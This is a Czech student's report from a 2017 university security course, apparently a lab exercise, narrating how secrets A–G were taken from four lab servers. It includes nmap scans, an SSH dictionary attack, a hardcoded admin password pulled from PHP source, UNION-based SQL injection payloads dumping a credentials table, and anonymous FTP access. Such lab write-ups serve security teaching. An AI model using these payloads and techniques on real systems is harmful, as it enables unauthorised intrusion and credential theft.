BIS 2017

Projekt 1

Autor: Ondřej Valeš
Login: xvales03

Datum vytvoření: 25. 11. 2017

Mapování sítě

Síť jsem mapoval ve dvou fázích, nejprve z klientské stanice a po odhalení tajemství A také z `ptest1`, kde jsem měl vyšší oprávnění. Využité zranitelnosti jsou popsány u jednotlivých tajemství.

Použitím příkazu `ifconfig` jsem zjistil, že stanice se nachází v síti `192.168.122/24`. Poté jsem využil `nmap`:

```
$ sudo nmap -sP 192.168.122.0/24
Nmap scan report for ptest4.local (192.168.122.10)
Nmap scan report for ptest3.local (192.168.122.160)
Nmap scan report for ptest2.local (192.168.122.204)
Nmap scan report for ptest1.local (192.168.122.243)
(plus několik desítek stanic, z pohledu projektu irelevantní)
```

Skenování otevřených portů na serverech:

```
$ sudo nmap -p "*" 192.168.122.243
Nmap scan report for ptest1.local (192.168.122.243)
...
PORT     STATE SERVICE
22/tcp   open  ssh
111/tcp  open  rpcbind
2049/tcp open  nfs
```

```
$ sudo nmap -p "*" 192.168.122.204
Nmap scan report for ptest2.local (192.168.122.204)
...
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
111/tcp open  rpcbind
```

```
$ sudo nmap -p "*" 192.168.122.160
Nmap scan report for ptest3.local (192.168.122.160)
...
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
111/tcp  open  rpcbind
443/tcp  open  https
3306/tcp open  mysql
```

```
$ sudo nmap -p "*" 192.168.122.10
Nmap scan report for ptest4.local (192.168.122.10)
...
PORT   STATE  SERVICE
20/tcp closed ftp-data
21/tcp open   ftp
```

Tajemství A

Po přihlášení na stanici `xvales03` jsem prohledal domovský adresář:

```
$ ls –a
.  ..  .bash_history  .bash_logout  .bash_profile  .bashrc  .elinks
.lesshst  Mail  .ssh  .vim  .viminfo
```

Zajímavý se ukázal adresář `.ssh`, který obsahuje předkonfigurované připojení na server `ptest1`.

$ cat .ssh/config
Host appsrv
  HostName 192.168.122.243
  User centos
  IdentityFile ~/.ssh/id_ed25519

$ ssh appsrv

Dostávám se na `ptest1`, vítá mě hláška, že je zde v provozu systém `eis` a kontroluji svá práva:

```
$ sudo –l
Uživatel centos smí spustit následující příkazy na ptest1:
    (ALL) NOPASSWD: ALL
```

```
$ sudo find / -name "eis"
/etc/eis
/var/local/eis
/var/spool/mail/eis
/tmp/eis
/usr/bin/eis
```

Postupně prohledávám výše uvedené nálezy, zajímavý je následující:

```
$ sudo ls /var/local/eis/
bootstrap.sh  invoices.db  secret.txt
$ sudo cat /var/local/eis/secret.txt
Ziskali jste tajemstvi"A:...
```

Tajemství B

Zkouším najít další soubory pojmenované `secret`:

```
$ sudo find / -name "*secret*"
...
/var/local/not-rootkit/secret2.txt
/var/local/eis/secret.txt
...
```

```
$ sudo cat /var/local/not-rootkit/secret2.txt
Ziskali jste tajemstvi "B:...
```

Tajemství C

V domovském adresáři na stanici xvales03 se nachází adresář s emaily:

```
$ cat Mail/Trash
From douglas@reynholm.co.uk  Thu Apr 28 16:54:54 2017
...
To: anna@ptest2.local
Subject: New Robotic Arm
...
Hi Anna,
you should come and check my new robotic arm! Meet me at my office
*wink*
Guys from IT said, that if I ever need, they can make it even
fancier with some robocop program installed on our server!
Can't wait to try that!
Douglas
```

Na `ptest2` běží `shh` a webový server. Zkouším slovníkový útok na `ssh` (s využitím skriptu převzatého z http://brezular.com/2016/01/11/bash-script-for-dictionary-attack-against-ssh-server/ a slovníku https://github.com/danielmiessler/SecLists/tree/master/Passwords). Z emailu vím, že zde existuje účet `anna`. Útok je úspěšný, odhalil jsem heslo `princess`. Přihlašuji se na `ptest2`.

```
$ cat secret.txt
Ziskali jste tajemstvi "C...
```

Tajemství D

Email zmiňoval program robocop:

$ find / -name "robocop" 2> /dev/null
/usr/bin/robocop

Po dlouhé době hraní si s daným programem si vypíšu binárku:

```
$ cat secret.txt
...
Ziskali jste tajemstvi "D...
...
```

Tajemství E

Na `ptest2` běží i webový server:

```
$ elinks http://ptest2
```

Zkouším se přihlásit jako `anna` se stejným heslem jako na `ssh`, ale nejde to. Na serveru `ptest2` hledám adresář se zdrojovými kódy webu, zajímavý je `action_page.php`:

```
if ( $uname == 'admin' && $pwd == '.8}Yg3,9ro>&jR{')
```

Zpět na `elinks`, úspěšně se přihlašuji jako `admin` s heslem `.8}Yg3,9ro>&jR{`.

```
Ziskali jste tajemstvi "E...
```

Tajemství F

Na `ptest3` běží webový server a databáze:

```
$ elinks http://ptest3
```

Zkouším SQL injection. Po vyhledání symbolu `'"'` zjišťuji, že zde běží MariaDB a databáze je zranitelná útokem QSL injection. Zadávám následující příkazy:

```
"UNION (
     SELECT TABLE_NAME, 0, 0, 0 FROM INFORMATION_SCHEMA.TABLES
);#
...
auth       0     0     0
contact    0     0     0
...
```

```
"UNION (
     SELECT COLUMN_NAME, 0, 0, 0 FROM INFORMATION_SCHEMA.COLUMNS
     WHERE TABLE_NAME = 'auth'
);#
...
login      0     0     0
passwd     0     0     0
...
```

```
"UNION (
     SELECT login, passwd, 0, 0 FROM auth
);#
...
admin      F:... 0     0
...
```

Tajemství G

Na `ptest4` běží `ftp`:

```
$ ftp 192.168.122.10
```

Potřebuji přihlašovací údaje. Hledám zranitelnosti dané verze ftp, ale žádné nenacházím. Dále zkoumám možnosti přihlášení bez autentizace. Zjišťuji, že ftp může být nakonfigurováno na provoz s anonymním přístupem. Pokud je ftp takto nastaven, je možné se přihlásit se jménem `ftp` a s prázdným heslem.

```
$ ftp 192.168.122.10
Connected to 192.168.122.10 (192.168.122.10).
220 (vsFTPd 3.0.2)
Name (192.168.122.10:student): ftp
331 Please specify the password.
Password:
230 Login successful.
```

Nemůžu se pohybat adresářovou strukturou. Zkouším aktivní mód:

```
$ ftp -A 192.168.122.10
...
ftp> ls
drwxr-xr-x    pub
ftp> cd pub
ftp> ls
-rw-r--r--    definitely-not-a-secret.gif
ftp> get definitely-not-a-secret.gif
ftp> quit
```

```
$ cat definitely-not-a-secret.gif
Ziskali jste tajemstvi "G:...
```

Závěr

Tajemství byla získána v pořadí (přesná data jsou součástí získaných tajemství):
F (druhý den po zveřejnění zadání)
A, B (hned po sobě po odhalení možnosti přihlášení na `ptest1`)
G (po odhalení anonymního ftp módu)
C, D, E (hned po sobě po prolomení hesla účtu `anna`)